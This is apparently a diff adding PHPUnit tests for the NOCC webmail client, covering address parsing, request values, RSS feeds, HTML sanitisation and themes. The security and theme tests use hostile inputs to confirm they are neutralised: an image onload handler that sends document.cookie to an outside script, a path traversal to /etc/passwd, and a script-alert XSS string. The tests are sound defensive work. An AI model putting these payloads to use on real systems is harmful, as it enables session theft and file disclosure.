$this->assertEquals('foo@bar.org', $this->mailAddress4->getAddress(), '"Foo Bar" <foo@bar.org>');
//$this->assertEquals('', $this->mailAddress5->getAddress(), 'bug');
$this->assertEquals('foo@bar.org', $this->mailAddress6->getAddress(), 'foo@bar.org, Foobar');
$this->assertEquals('foo@bar.org', $this->mailAddress7->getAddress(), '"foo <test> bar" <foo@bar.org>');
}
/**
* Test case for hasAddress().
*/
public function testHasAddress() {
$this->assertFalse($this->mailAddress1->hasAddress());
$this->assertTrue($this->mailAddress2->hasAddress(), 'foo@bar.org');
$this->assertTrue($this->mailAddress3->hasAddress(), 'Foo Bar <foo@bar.org>');
$this->assertTrue($this->mailAddress4->hasAddress(), '"Foo Bar" <foo@bar.org>');
//$this->assertTrue($this->mailAddress5->hasAddress(), 'bug');
$this->assertTrue($this->mailAddress6->hasAddress(), 'foo@bar.org, Foobar');
$this->assertTrue($this->mailAddress7->hasAddress(), '"foo <test> bar" <foo@bar.org>');
}
/**
* Test case for setAddress().
*/
public function testSetAddress() {
$mailAddress = new NOCC_MailAddress('"Foo Bar" <foo@bar.org>');
$this->assertEquals('foo@bar.org', $mailAddress->getAddress(), '"Foo Bar" <foo@bar.org>');
$mailAddress->setAddress('bar@foo.com');
$this->assertEquals('bar@foo.com', $mailAddress->getAddress(), '"Foo Bar" <bar@foo.com>');
$mailAddress->setAddress(false);
$this->assertEquals('bar@foo.com', $mailAddress->getAddress(), '"Foo Bar" <bar@foo.com>');
}
/**
* Test case for __toString().
*/
public function testToString() {
$this->assertEquals('', (string)$this->mailAddress1);
$this->assertEquals('foo@bar.org', (string)$this->mailAddress2, 'foo@bar.org');
$this->assertEquals('"Foo Bar" <foo@bar.org>', (string)$this->mailAddress3, 'Foo Bar <foo@bar.org>');
$this->assertEquals('"Foo Bar" <foo@bar.org>', (string)$this->mailAddress4, '"Foo Bar" <foo@bar.org>');
//$this->assertEquals('', (string)$this->mailAddress5, 'bug');
$this->assertEquals('Foobar <foo@bar.org>', (string)$this->mailAddress6, 'foo@bar.org, Foobar');
$this->assertEquals('"foo <test> bar" <foo@bar.org>', (string)$this->mailAddress7, '"foo <test> bar" <foo@bar.org>');
}
/**
* Test case for isValidAddress().
*/
public function testIsValidAddress() {
$this->assertFalse(NOCC_MailAddress::isValidAddress(''));
$this->assertFalse(NOCC_MailAddress::isValidAddress('bug'), 'bug');
$this->assertTrue(NOCC_MailAddress::isValidAddress('foo@bar.org'), 'foo@bar.org');
$this->assertTrue(NOCC_MailAddress::isValidAddress('foo.foo@bar.bar.org'), 'foo.foo@bar.bar.org');
$this->assertTrue(NOCC_MailAddress::isValidAddress('foo-foo@bar-bar.org'), 'foo-foo@bar-bar.org');
$this->assertTrue(NOCC_MailAddress::isValidAddress('foo_foo@bar.org'), 'foo_foo@bar.org');
$this->assertFalse(NOCC_MailAddress::isValidAddress('foo@bar'), 'foo@bar');
$this->assertFalse(NOCC_MailAddress::isValidAddress('bar.org'), 'bar.org');
$this->assertFalse(NOCC_MailAddress::isValidAddress('foo @ bar.org'), 'foo @ bar.org');
}
/**
* Test case for compareAddress().
*/
public function testCompareAddress() {
$this->assertEquals(-1, NOCC_MailAddress::compareAddress('', ''));
$this->assertEquals(-1, NOCC_MailAddress::compareAddress(null, null), 'null, null');
$this->assertEquals(0, NOCC_MailAddress::compareAddress('foo@bar.org', 'bar@foo.org'), 'foo@bar.org, bar@foo.org');
$this->assertEquals(0, NOCC_MailAddress::compareAddress('Foo <foo@bar.org>', 'Bar <bar@foo.org>'), 'Foo <foo@bar.org>, Bar <bar@foo.org>');
$this->assertEquals(0, NOCC_MailAddress::compareAddress('foo@bar.org', 'BAR@FOO.ORG'), 'foo@bar.org, BAR@FOO.ORG');
$this->assertEquals(0, NOCC_MailAddress::compareAddress('Foo <foo@bar.org>', 'BAR <BAR@FOO.ORG>'), 'Foo <foo@bar.org>, BAR <BAR@FOO.ORG>');
$this->assertEquals(1, NOCC_MailAddress::compareAddress('foo@bar.org', 'foo@bar.org'), 'foo@bar.org, foo@bar.org');
$this->assertEquals(1, NOCC_MailAddress::compareAddress('Foo <foo@bar.org>', 'Foo <foo@bar.org>'), 'Foo <foo@bar.org>, Foo <foo@bar.org>');
$this->assertEquals(1, NOCC_MailAddress::compareAddress('foo@bar.org', 'FOO@BAR.ORG'), 'foo@bar.org, FOO@BAR.ORG');
$this->assertEquals(1, NOCC_MailAddress::compareAddress('Foo <foo@bar.org>', 'FOO <FOO@BAR.ORG>'), 'Foo <foo@bar.org>, FOO <FOO@BAR.ORG>');
}
/**
* Test case for chopAddress().
*/
public function testChopAddress() {
$this->assertEquals('', NOCC_MailAddress::chopAddress(''));
$this->assertEquals('bug', NOCC_MailAddress::chopAddress('bug'), 'bug');
$this->assertEquals('foo@bar.org', NOCC_MailAddress::chopAddress('foo@bar.org'), 'foo@bar.org');
$this->assertEquals('Foo Bar', NOCC_MailAddress::chopAddress('Foo Bar <foo@bar.org>'), 'Foo Bar <foo@bar.org>');
$this->assertEquals('"Foo Bar"', NOCC_MailAddress::chopAddress('"Foo Bar" <foo@bar.org>'), '"Foo Bar" <foo@bar.org>');
$this->assertEquals('"foo >> bar"', NOCC_MailAddress::chopAddress('"foo >> bar" <foo@bar.org>'), '"foo >> bar" <foo@bar.org>');
$this->assertEquals('"foo <> bar"', NOCC_MailAddress::chopAddress('"foo <> bar" <foo@bar.org>'), '"foo <> bar" <foo@bar.org>');
$this->assertEquals('"foo << bar"', NOCC_MailAddress::chopAddress('"foo << bar" <foo@bar.org>'), '"foo << bar" <foo@bar.org>');
}
}
?>

View file

@ -0,0 +1,103 @@
<?php
/**
* Test cases for NOCC_Request.
*
* Copyright 2010-2011 Tim Gerundt <tim@gerundt.de>
*
* This file is part of NOCC. NOCC is free software under the terms of the
* GNU General Public License. You should have received a copy of the license
* along with NOCC. If not, see <http://www.gnu.org/licenses/>.
*
* @package NOCC
* @subpackage Tests
* @license http://www.gnu.org/licenses/ GNU General Public License
* @version SVN: $Id: NOCC_RequestTest.php 2373 2011-01-04 15:06:58Z gerundt $
*/
require_once 'PHPUnit/Framework.php';
require_once dirname(__FILE__).'/../../classes/nocc_request.php';
/**
* Test class for NOCC_Request.
* Generated by PHPUnit on 2010-04-03 at 19:05:16.
*/
class NOCC_RequestTest extends PHPUnit_Framework_TestCase {
/**
* @var array
*/
protected $requestBackup;
/**
* Sets up the fixture, for example, opens a network connection.
* This method is called before a test is executed.
*/
protected function setUp() {
$this->requestBackup = $_REQUEST;
$_REQUEST['HelloWorldValue'] = 'Hello World!';
$_REQUEST['TrueValue'] = 'true';
$_REQUEST['FalseValue'] = 'false';
$_REQUEST['1Value'] = '1';
$_REQUEST['0Value'] = '0';
}
/**
* Tears down the fixture, for example, closes a network connection.
* This method is called after a test is executed.
*/
protected function tearDown() {
$_REQUEST = $this->requestBackup;
}
/**
* Test case for getStringValue().
*/
public function testGetStringValue() {
$this->assertEquals('', NOCC_Request::getStringValue(null), 'NULL');
$this->assertEquals('', NOCC_Request::getStringValue(''), '');
$this->assertEquals('', NOCC_Request::getStringValue('notexists'), 'notexists');
$this->assertEquals('Hello World!', NOCC_Request::getStringValue('HelloWorldValue'), 'HelloWorldValue');
}
/**
* Test case for getBoolValue().
*/
public function testGetBoolValue() {
$this->assertFalse(NOCC_Request::getBoolValue(null), 'NULL');
$this->assertFalse(NOCC_Request::getBoolValue(''), '');
$this->assertFalse(NOCC_Request::getBoolValue('notexists'), 'notexists');
$this->assertFalse(NOCC_Request::getBoolValue('notexists', null), 'notexists, NULL');
$this->assertTrue(NOCC_Request::getBoolValue('notexists', 1), 'notexists, 1');
$this->assertTrue(NOCC_Request::getBoolValue('notexists', true), 'notexists, true');
$this->assertTrue(NOCC_Request::getBoolValue('TrueValue'), 'TrueValue');
$this->assertFalse(NOCC_Request::getBoolValue('FalseValue'), 'FalseValue');
$this->assertTrue(NOCC_Request::getBoolValue('1Value'), '1Value');
$this->assertFalse(NOCC_Request::getBoolValue('0Value'), '0Value');
}
/**
* Test case for convertToBool().
*/
public function testConvertToBool() {
$this->assertFalse(NOCC_Request::convertToBool(null), 'NULL');
$this->assertFalse(NOCC_Request::convertToBool(''), '');
$this->assertFalse(NOCC_Request::convertToBool('bug'), 'bug');
$this->assertFalse(NOCC_Request::convertToBool('99'), '99');
$this->assertTrue(NOCC_Request::convertToBool(true), 'true');
$this->assertTrue(NOCC_Request::convertToBool(1), '1');
$this->assertTrue(NOCC_Request::convertToBool('true'), '"true"');
$this->assertTrue(NOCC_Request::convertToBool('1'), '"1"');
$this->assertTrue(NOCC_Request::convertToBool('TruE'), '"TruE"');
$this->assertFalse(NOCC_Request::convertToBool(false), 'false');
$this->assertFalse(NOCC_Request::convertToBool(0), '0');
$this->assertFalse(NOCC_Request::convertToBool('false'), '"false"');
$this->assertFalse(NOCC_Request::convertToBool('0'), '"0"');
$this->assertFalse(NOCC_Request::convertToBool('FaLsE'), '"FaLsE"');
}
}
?>

View file

@ -0,0 +1,124 @@
<?php
/**
* Test cases for NOCC_RssFeed.
*
* Copyright 2010-2011 Tim Gerundt <tim@gerundt.de>
*
* This file is part of NOCC. NOCC is free software under the terms of the
* GNU General Public License. You should have received a copy of the license
* along with NOCC. If not, see <http://www.gnu.org/licenses/>.
*
* @package NOCC
* @subpackage Tests
* @license http://www.gnu.org/licenses/ GNU General Public License
* @version SVN: $Id: NOCC_RssFeedTest.php 2373 2011-01-04 15:06:58Z gerundt $
*/
require_once 'PHPUnit/Framework.php';
require_once dirname(__FILE__).'/../../classes/nocc_rssfeed.php';
/**
* Test class for NOCC_RssFeed.
*/
class NOCC_RssFeedTest extends PHPUnit_Framework_TestCase {
/**
* @var NOCC_RssFeed
*/
protected $rssFeed1;
/**
* Sets up the fixture, for example, opens a network connection.
* This method is called before a test is executed.
*/
protected function setUp() {
$this->rssFeed1 = new NOCC_RssFeed;
$this->rssFeed1->setTitle('Title');
$this->rssFeed1->setDescription('Description');
$this->rssFeed1->setLink('http://nocc.sf.net/');
}
/**
* Test case for getTitle().
*/
public function testGetTitle() {
$this->assertEquals('Title', $this->rssFeed1->getTitle());
}
/**
* @todo Implement testSetTitle().
*/
public function testSetTitle() {
// Remove the following lines when you implement this test.
$this->markTestIncomplete(
'This test has not been implemented yet.'
);
}
/**
* Test case for getDescription().
*/
public function testGetDescription() {
$this->assertEquals('Description', $this->rssFeed1->getDescription());
}
/**
* @todo Implement testSetDescription().
*/
public function testSetDescription() {
// Remove the following lines when you implement this test.
$this->markTestIncomplete(
'This test has not been implemented yet.'
);
}
/**
* Test case for getLink().
*/
public function testGetLink() {
$this->assertEquals('http://nocc.sf.net/', $this->rssFeed1->getLink());
}
/**
* @todo Implement testSetLink().
*/
public function testSetLink() {
// Remove the following lines when you implement this test.
$this->markTestIncomplete(
'This test has not been implemented yet.'
);
}
/**
* @todo Implement testAddItem().
*/
public function testAddItem() {
// Remove the following lines when you implement this test.
$this->markTestIncomplete(
'This test has not been implemented yet.'
);
}
/**
* @todo Implement testSendToBrowser().
*/
public function testSendToBrowser() {
// Remove the following lines when you implement this test.
$this->markTestIncomplete(
'This test has not been implemented yet.'
);
}
/**
* Test case for getIso8601Date().
*/
public function testGetIso8601Date() {
$timestamp = mktime(22, 26, 11, 2, 19, 2010);
$tzd = substr(date('O', $timestamp), 0, 3) . ':' . substr(date('O', $timestamp), -2);
$this->assertStringStartsWith('2010-02-19T22:26:11', NOCC_RssFeed::getIso8601Date($timestamp), 'starts with');
$this->assertStringEndsWith($tzd, NOCC_RssFeed::getIso8601Date($timestamp), 'ends with');
$this->assertEquals(25, strlen(NOCC_RssFeed::getIso8601Date($timestamp)), 'length');
}
}
?>

View file

@ -0,0 +1,128 @@
<?php
/**
* Test cases for NOCC_RssFeed_Item.
*
* Copyright 2010-2011 Tim Gerundt <tim@gerundt.de>
*
* This file is part of NOCC. NOCC is free software under the terms of the
* GNU General Public License. You should have received a copy of the license
* along with NOCC. If not, see <http://www.gnu.org/licenses/>.
*
* @package NOCC
* @subpackage Tests
* @license http://www.gnu.org/licenses/ GNU General Public License
* @version SVN: $Id: NOCC_RssFeed_ItemTest.php 2373 2011-01-04 15:06:58Z gerundt $
*/
require_once 'PHPUnit/Framework.php';
require_once dirname(__FILE__).'/../../classes/nocc_rssfeed.php';
/**
* Test class for NOCC_RssFeed_Item.
*/
class NOCC_RssFeed_ItemTest extends PHPUnit_Framework_TestCase {
/**
* @var NOCC_RssFeed_Item
*/
protected $rssFeedItem1;
/**
* Sets up the fixture, for example, opens a network connection.
* This method is called before a test is executed.
*/
protected function setUp() {
$this->rssFeedItem1 = new NOCC_RssFeed_Item;
$this->rssFeedItem1->setTitle('Title');
$this->rssFeedItem1->setDescription('Description');
$this->rssFeedItem1->setContent('...');
$this->rssFeedItem1->setLink('http://nocc.sf.net/');
$this->rssFeedItem1->setCreator('Tim Gerundt');
}
/**
* Test case for getTitle().
*/
public function testGetTitle() {
$this->assertEquals('Title', $this->rssFeedItem1->getTitle());
}
/**
* @todo Implement testSetTitle().
*/
public function testSetTitle() {
// Remove the following lines when you implement this test.
$this->markTestIncomplete(
'This test has not been implemented yet.'
);
}
/**
* Test case for getDescription().
*/
public function testGetDescription() {
$this->assertEquals('Description', $this->rssFeedItem1->getDescription());
}
/**
* @todo Implement testSetDescription().
*/
public function testSetDescription() {
// Remove the following lines when you implement this test.
$this->markTestIncomplete(
'This test has not been implemented yet.'
);
}
/**
*Test case for getContent().
*/
public function testGetContent() {
$this->assertEquals('...', $this->rssFeedItem1->getContent());
}
/**
* @todo Implement testSetContent().
*/
public function testSetContent() {
// Remove the following lines when you implement this test.
$this->markTestIncomplete(
'This test has not been implemented yet.'
);
}
/**
* Test case for getLink().
*/
public function testGetLink() {
$this->assertEquals('http://nocc.sf.net/', $this->rssFeedItem1->getLink());
}
/**
* @todo Implement testSetLink().
*/
public function testSetLink() {
// Remove the following lines when you implement this test.
$this->markTestIncomplete(
'This test has not been implemented yet.'
);
}
/**
* Test case for getCreator().
*/
public function testGetCreator() {
$this->assertEquals('Tim Gerundt', $this->rssFeedItem1->getCreator());
}
/**
* @todo Implement testSetCreator().
*/
public function testSetCreator() {
// Remove the following lines when you implement this test.
$this->markTestIncomplete(
'This test has not been implemented yet.'
);
}
}
?>

View file

@ -0,0 +1,280 @@
<?php
/**
* Test cases for NOCC_Security.
*
* Copyright 2009-2011 Tim Gerundt <tim@gerundt.de>
*
* This file is part of NOCC. NOCC is free software under the terms of the
* GNU General Public License. You should have received a copy of the license
* along with NOCC. If not, see <http://www.gnu.org/licenses/>.
*
* @package NOCC
* @subpackage Tests
* @license http://www.gnu.org/licenses/ GNU General Public License
* @version SVN: $Id: NOCC_SecurityTest.php 2551 2012-05-28 13:00:55Z gerundt $
*/
require_once 'PHPUnit/Framework.php';
require_once dirname(__FILE__).'/../../classes/nocc_security.php';
/**
* Test class for NOCC_Security.
*/
class NOCC_SecurityTest extends PHPUnit_Framework_TestCase {
/**
* Test case for disableHtmlImages().
*/
public function testDisableHtmlImages() {
$html =
'<dl>
<dt>normal image with double quote<dt>
<dd><img src="http://nocc.sourceforge.net/engine/images/logo.png" /></dd>
<dt>normal image with single quote<dt>
<dd><img src=\'http://nocc.sourceforge.net/engine/images/logo.png\' /></dd>
<dt>normal image without quote<dt>
<dd><img Src=http://nocc.sourceforge.net/engine/images/logo.png /></dd>
<dt>normal image with whitespace and double quote<dt>
<dd><img src = "http://nocc.sourceforge.net/engine/images/logo.png " /></dd>
<dt>normal image with whitespace and single quote<dt>
<dd><img src = \'http://nocc.sourceforge.net/engine/images/logo.png \' /></dd>
<dt>normal image with whitespace and without quote<dt>
<dd><img srC = http://nocc.sourceforge.net/engine/images/logo.png /></dd>
</dl>
<table>
<tr>
<td background="http://nocc.sourceforge.net/engine/images/logo.png">background with double quote</td>
</tr>
<tr>
<td background=\'http://nocc.sourceforge.net/engine/images/logo.png\'>background with single quote</td>
</tr>
<tr>
<td BackGround=http://nocc.sourceforge.net/engine/images/logo.png>background without quote</td>
</tr>
<tr>
<td background = "http://nocc.sourceforge.net/engine/images/logo.png ">background with whitespace and double quote</td>
</tr>
<tr>
<td background = \'http://nocc.sourceforge.net/engine/images/logo.png \'>background with whitespace and single quote</td>
</tr>
<tr>
<td background = http://nocc.sourceforge.net/engine/images/logo.png >background with whitespace and without quote</td>
</tr>
</table>
<p style="BackGround:Url(http://nocc.sourceforge.net/engine/images/logo.png)">background-style</p>
<p style="background:url(\'http://nocc.sourceforge.net/engine/images/logo.png\')">background-style with single quote</p>
<p style=" background : url( http://nocc.sourceforge.net/engine/images/logo.png ) ">background-style with whitespace</p>
<p style="background : url( \'http://nocc.sourceforge.net/engine/images/logo.png \')">background-style with whitespace and single quote</p>';
$expected =
'<dl>
<dt>normal image with double quote<dt>
<dd><img src="none" /></dd>
<dt>normal image with single quote<dt>
<dd><img src="none" /></dd>
<dt>normal image without quote<dt>
<dd><img src="none"/></dd>
<dt>normal image with whitespace and double quote<dt>
<dd><img src="none" /></dd>
<dt>normal image with whitespace and single quote<dt>
<dd><img src="none" /></dd>
<dt>normal image with whitespace and without quote<dt>
<dd><img src="none"/></dd>
</dl>
<table>
<tr>
<td background="none">background with double quote</td>
</tr>
<tr>
<td background="none">background with single quote</td>
</tr>
<tr>
<td background="none">background without quote</td>
</tr>
<tr>
<td background="none">background with whitespace and double quote</td>
</tr>
<tr>
<td background="none">background with whitespace and single quote</td>
</tr>
<tr>
<td background="none">background with whitespace and without quote</td>
</tr>
</table>
<p style="BackGround:url(none)">background-style</p>
<p style="background:url(none)">background-style with single quote</p>
<p style=" background : url(none) ">background-style with whitespace</p>
<p style="background : url(none)">background-style with whitespace and single quote</p>';
$this->assertEquals($expected, NOCC_Security::disableHtmlImages($html));
}
/**
* Test case for hasDisabledHtmlImages().
*/
public function testHasDisabledHtmlImages() {
$this->assertFalse(NOCC_Security::hasDisabledHtmlImages(''));
$this->assertTrue(NOCC_Security::hasDisabledHtmlImages('<dd><img src="none"/></dd>'), 'src="none"');
$this->assertTrue(NOCC_Security::hasDisabledHtmlImages('<td background="none">...</td>'), 'background="none"');
$this->assertTrue(NOCC_Security::hasDisabledHtmlImages('<p style="background:url(none)">...</p>'), 'background:url(none)');
$this->assertTrue(NOCC_Security::hasDisabledHtmlImages('<p style="background : url(none)">...</p>'), 'background : url(none)');
}
/**
* Test case for cleanHtmlBody().
*/
public function testCleanHtmlBody() {
$html1 =
'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Test</TITLE>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="description" content="Just a test!" />
<link href="stylesheet.css" rel="stylesheet" type="text/css" />
<LINK href="favicon.ico" rel="shortcut icon" type="image/x-icon" />
<script src="javascript.js" type="text/javascript"></script>
<style><!-- Test -->
h1 {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10pt;
}
</style>
</HEAD>
<BODY>
<h1>Test</h1>
<p>This is just a test!</p>
</body>
</HTML>';
$html2 =
'<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head>
<title>Test</TITLE
>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="description" content="Just a test!" /
>
<link href="stylesheet.css" rel="stylesheet" type="text/css" />
<LINK href="favicon.ico" rel="shortcut icon" type="image/x-icon" />
<script src="javascript.js" type="text/javascript"></script>
<style><!-- Test -->
h1 {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10pt;
}
</style>
</HEAD>
<BODY dir="ltr">
<h1>Test</h1>
<p>This is just a test!</p>
</body>
</HTML>';
$expected =
'<h1>Test</h1>
<p>This is just a test!</p>';
$this->assertEquals($expected, NOCC_Security::cleanHtmlBody($html1));
$this->assertEquals($expected, NOCC_Security::cleanHtmlBody($html2));
}
/**
* Test case for purifyHtml().
*/
public function testPurifyHtml() {
$html =
'Nun klaue ich Dir Dein Session Cookie!<br />&nbsp;<br />
<img alt="test" src="cid:part1.07060002.08090408@hitco.at"
height="20" width="20"
onload="document.myIMG.src=\'http\'+\':\'+\'//\'+\'www.hitco.at/img/cookieklau.php?\'+document.cookie" />
<img name="myIMG" src="cid:part1.07060002.08090408@hitco.at" height="20" width="800" /><br />';
$expected =
'Nun klaue ich Dir Dein Session Cookie!<br />&nbsp;<br />
<img alt="test" src="cid:part1.07060002.08090408@hitco.at" height="20" width="20" />
<img src="cid:part1.07060002.08090408@hitco.at" height="20" width="800" alt="image" id="myIMG" /><br />';
$this->assertEquals($expected, NOCC_Security::purifyHtml($html));
}
/**
* Test case for convertHtmlToPlainText().
*/
public function testConvertHtmlToPlainText() {
$html1 =
"<p class=MsoNormal><font size=2 color=navy face=Arial><span style='font-size:
10.0pt;font-family:Arial;color:navy'>This is just a &#8211; small test!</span></font></p>";
$expected1 =
'This is just a small test!';
$html2 =
"<p class=MsoNormal><font size=2 color=navy face=Arial><span style='font-size:
10.0pt;font-family:Arial;color:navy'>Line 1</span></font></p>
<p class=MsoNormal><font size=2 color=navy face=Arial><span style='font-size:
10.0pt;font-family:Arial;color:navy'></span></font></p>
<p class=MsoNormal><font size=2 color=navy face=Arial><span style='font-size:
10.0pt;font-family:Arial;color:navy'></span></font></p>
<div>
<p class=MsoNormal><strong><b><font size=2 color=navy face=Arial><span
style='font-size:10.0pt;font-family:Arial;color:navy'>Line 2</span></font></b>
</strong><font color=navy><span style='color:navy'></span></font></p>
<div>
<p class=MsoNormal><font size=3 color=navy face=\"Times New Roman\"><span
style='font-size:12.0pt;color:navy'>&nbsp;</span></font></p>
</div>";
$expected2 =
'Line 1
Line 2
 
';
$this->assertEquals($expected1, NOCC_Security::convertHtmlToPlainText($html1));
$this->assertEquals($expected2, NOCC_Security::convertHtmlToPlainText($html2));
}
/**
* Test case for isSupportedImageType().
*/
public function testIsSupportedImageType() {
$this->assertFalse(NOCC_Security::isSupportedImageType(null), 'NULL');
$this->assertFalse(NOCC_Security::isSupportedImageType('image'), 'image');
$this->assertFalse(NOCC_Security::isSupportedImageType('image\bug'), 'image\bug');
$this->assertFalse(NOCC_Security::isSupportedImageType('text/plain'), 'text/plain');
$this->assertFalse(NOCC_Security::isSupportedImageType('image/exe'), 'image/exe');
$this->assertFalse(NOCC_Security::isSupportedImageType('image/tiff'), 'image/tiff');
$this->assertFalse(NOCC_Security::isSupportedImageType('image/Gift'), 'image/Gift');
$this->assertTrue(NOCC_Security::isSupportedImageType('image/jpeg'), 'image/jpeg');
$this->assertTrue(NOCC_Security::isSupportedImageType('image/PJPEG'), 'image/PJPEG');
$this->assertTrue(NOCC_Security::isSupportedImageType('IMAGE/Gif'), 'IMAGE/Gif');
$this->assertTrue(NOCC_Security::isSupportedImageType('Image/pnG'), 'Image/pnG');
}
}
?>

View file

@ -0,0 +1,171 @@
<?php
/**
* Test cases for NOCC_Theme.
*
* Copyright 2009-2011 Tim Gerundt <tim@gerundt.de>
*
* This file is part of NOCC. NOCC is free software under the terms of the
* GNU General Public License. You should have received a copy of the license
* along with NOCC. If not, see <http://www.gnu.org/licenses/>.
*
* @package NOCC
* @subpackage Tests
* @license http://www.gnu.org/licenses/ GNU General Public License
* @version SVN: $Id: NOCC_ThemeTest.php 2373 2011-01-04 15:06:58Z gerundt $
*/
require_once 'PHPUnit/Framework.php';
require_once dirname(__FILE__).'/../../classes/nocc_theme.php';
/**
* Test class for NOCC_Theme.
*/
class NOCC_ThemeTest extends PHPUnit_Framework_TestCase {
/**
* @var NOCC_Theme
*/
protected $theme1;
/**
* @var NOCC_Theme
*/
protected $theme2;
/**
* @var NOCC_Theme
*/
protected $theme3;
/**
* @var NOCC_Theme
*/
protected $theme4;
/**
* @var NOCC_Theme
*/
protected $theme5;
/**
* Sets up the fixture, for example, opens a network connection.
* This method is called before a test is executed.
*/
protected function setUp() {
$this->theme1 = new NOCC_Theme('test1');
$this->theme2 = new NOCC_Theme('notexists');
$this->theme3 = new NOCC_Theme('');
$this->theme4 = new NOCC_Theme('../../../../../../../etc/passwd%00');
$this->theme5 = new NOCC_Theme('<script>alert(document.cookie)</script>');
}
/**
* Test case for getName().
*/
public function testGetName() {
$this->assertEquals('test1', $this->theme1->getName(), 'test1');
$this->assertEquals('notexists', $this->theme2->getName(), 'notexists');
$this->assertEquals('', $this->theme3->getName());
$this->assertEquals('etcpasswd%00', $this->theme4->getName(), '../../../../../../../etc/passwd%00');
$this->assertEquals('alert(document.cookie)', $this->theme5->getName(), '<script>alert(document.cookie)</script>');
}
/**
* Test case for getPath().
*/
public function testGetPath() {
$this->assertEquals('themes/test1', $this->theme1->getPath(), 'test1');
$this->assertEquals('', $this->theme2->getPath(), 'notexists');
$this->assertEquals('', $this->theme3->getPath());
$this->assertEquals('', $this->theme4->getPath(), '../../../../../../../etc/passwd%00');
$this->assertEquals('', $this->theme5->getPath(), '<script>alert(document.cookie)</script>');
}
/**
* Test case for getRealPath().
*/
public function testGetRealPath() {
$this->assertNotEquals('', $this->theme1->getRealPath(), 'test1');
$this->assertEquals('', $this->theme2->getRealPath(), 'notexists');
$this->assertEquals('', $this->theme3->getRealPath());
$this->assertEquals('', $this->theme4->getRealPath(), '../../../../../../../etc/passwd%00');
$this->assertEquals('', $this->theme5->getRealPath(), '<script>alert(document.cookie)</script>');
}
/**
* Test case for exists().
*/
public function testExists() {
$this->assertTrue($this->theme1->exists(), 'test1');
$this->assertFalse($this->theme2->exists(), 'notexists');
$this->assertFalse($this->theme3->exists());
$this->assertFalse($this->theme4->exists(), '../../../../../../../etc/passwd%00');
$this->assertFalse($this->theme5->exists(), '<script>alert(document.cookie)</script>');
}
/**
* Test case for getStylesheet().
*/
public function testGetStylesheet() {
$this->assertEquals('themes/test1/style.css', $this->theme1->getStylesheet(), 'test1');
$this->assertEquals('', $this->theme2->getStylesheet(), 'notexists');
$this->assertEquals('', $this->theme3->getStylesheet());
$this->assertEquals('', $this->theme4->getStylesheet(), '../../../../../../../etc/passwd%00');
$this->assertEquals('', $this->theme5->getStylesheet(), '<script>alert(document.cookie)</script>');
}
/**
* Test case for getPrintStylesheet().
*/
public function testGetPrintStylesheet() {
$this->assertEquals('themes/test1/print.css', $this->theme1->getPrintStylesheet(), 'test1');
$this->assertEquals('', $this->theme2->getPrintStylesheet(), 'notexists');
$this->assertEquals('', $this->theme3->getPrintStylesheet());
$this->assertEquals('', $this->theme4->getPrintStylesheet(), '../../../../../../../etc/passwd%00');
$this->assertEquals('', $this->theme5->getPrintStylesheet(), '<script>alert(document.cookie)</script>');
}
/**
* Test case for getFavicon().
*/
public function testGetFavicon() {
$this->assertEquals('favicon.ico', $this->theme1->getFavicon(), 'test1');
$this->assertEquals('favicon.ico', $this->theme2->getFavicon(), 'notexists');
$this->assertEquals('favicon.ico', $this->theme3->getFavicon());
$this->assertEquals('favicon.ico', $this->theme4->getFavicon(), '../../../../../../../etc/passwd%00');
$this->assertEquals('favicon.ico', $this->theme5->getFavicon(), '<script>alert(document.cookie)</script>');
}
/**
* Test case for getCustomHeader().
*/
public function testGetCustomHeader() {
$this->assertNotEquals('', $this->theme1->getCustomHeader(), 'test1');
$this->assertEquals('', $this->theme2->getCustomHeader(), 'notexists');
$this->assertEquals('', $this->theme3->getCustomHeader());
$this->assertEquals('', $this->theme4->getCustomHeader(), '../../../../../../../etc/passwd%00');
$this->assertEquals('', $this->theme5->getCustomHeader(), '<script>alert(document.cookie)</script>');
}
/**
* Test case for getCustomFooter().
*/
public function testGetCustomFooter() {
$this->assertNotEquals('', $this->theme1->getCustomFooter(), 'test1');
$this->assertEquals('', $this->theme2->getCustomFooter(), 'notexists');
$this->assertEquals('', $this->theme3->getCustomFooter());
$this->assertEquals('', $this->theme4->getCustomFooter(), '../../../../../../../etc/passwd%00');
$this->assertEquals('', $this->theme5->getCustomFooter(), '<script>alert(document.cookie)</script>');
}
/**
* @todo Implement testReplaceTextSmilies().
*/
public function testReplaceTextSmilies() {
// Remove the following lines when you implement this test.
$this->markTestIncomplete(
'This test has not been implemented yet.'
);
}
}
?>

View file

@ -0,0 +1,176 @@
<?php
/**
* Test cases for NOCC_Themes.
*
* Copyright 2009-2011 Tim Gerundt <tim@gerundt.de>
*
* This file is part of NOCC. NOCC is free software under the terms of the
* GNU General Public License. You should have received a copy of the license
* along with NOCC. If not, see <http://www.gnu.org/licenses/>.
*
* @package NOCC
* @subpackage Tests
* @license http://www.gnu.org/licenses/ GNU General Public License
* @version SVN: $Id: NOCC_ThemesTest.php 2373 2011-01-04 15:06:58Z gerundt $
*/
require_once 'PHPUnit/Framework.php';
require_once dirname(__FILE__).'/../../classes/nocc_themes.php';
/**
* Test class for NOCC_Themes.
*/
class NOCC_ThemesTest extends PHPUnit_Framework_TestCase {
/**
* @var string
*/
protected $rootPath;
/**
* @var NOCC_Themes
*/
protected $themes1;
/**
* @var NOCC_Themes
*/
protected $themes2;
/**
* @var NOCC_Themes
*/
protected $themes3;
/**
* @var NOCC_Themes
*/
protected $themes4;
/**
* @var NOCC_Themes
*/
protected $themes5;
/**
* Sets up the fixture, for example, opens a network connection.
* This method is called before a test is executed.
*/
protected function setUp() {
$this->rootPath = dirname(__FILE__) . '/../';
$this->themes1 = new NOCC_Themes('');
$this->themes2 = new NOCC_Themes($this->rootPath . './themes', 'test1');
$this->themes3 = new NOCC_Themes($this->rootPath . './themes/', 'TEST1');
$this->themes4 = new NOCC_Themes(array('bug'));
$this->themes5 = new NOCC_Themes($this->rootPath . './themes/', array('bug'));
}
/**
* Test case for count().
*/
public function testCount() {
$this->assertEquals(0, $this->themes1->count());
$this->assertEquals(2, $this->themes2->count(), './themes, test1');
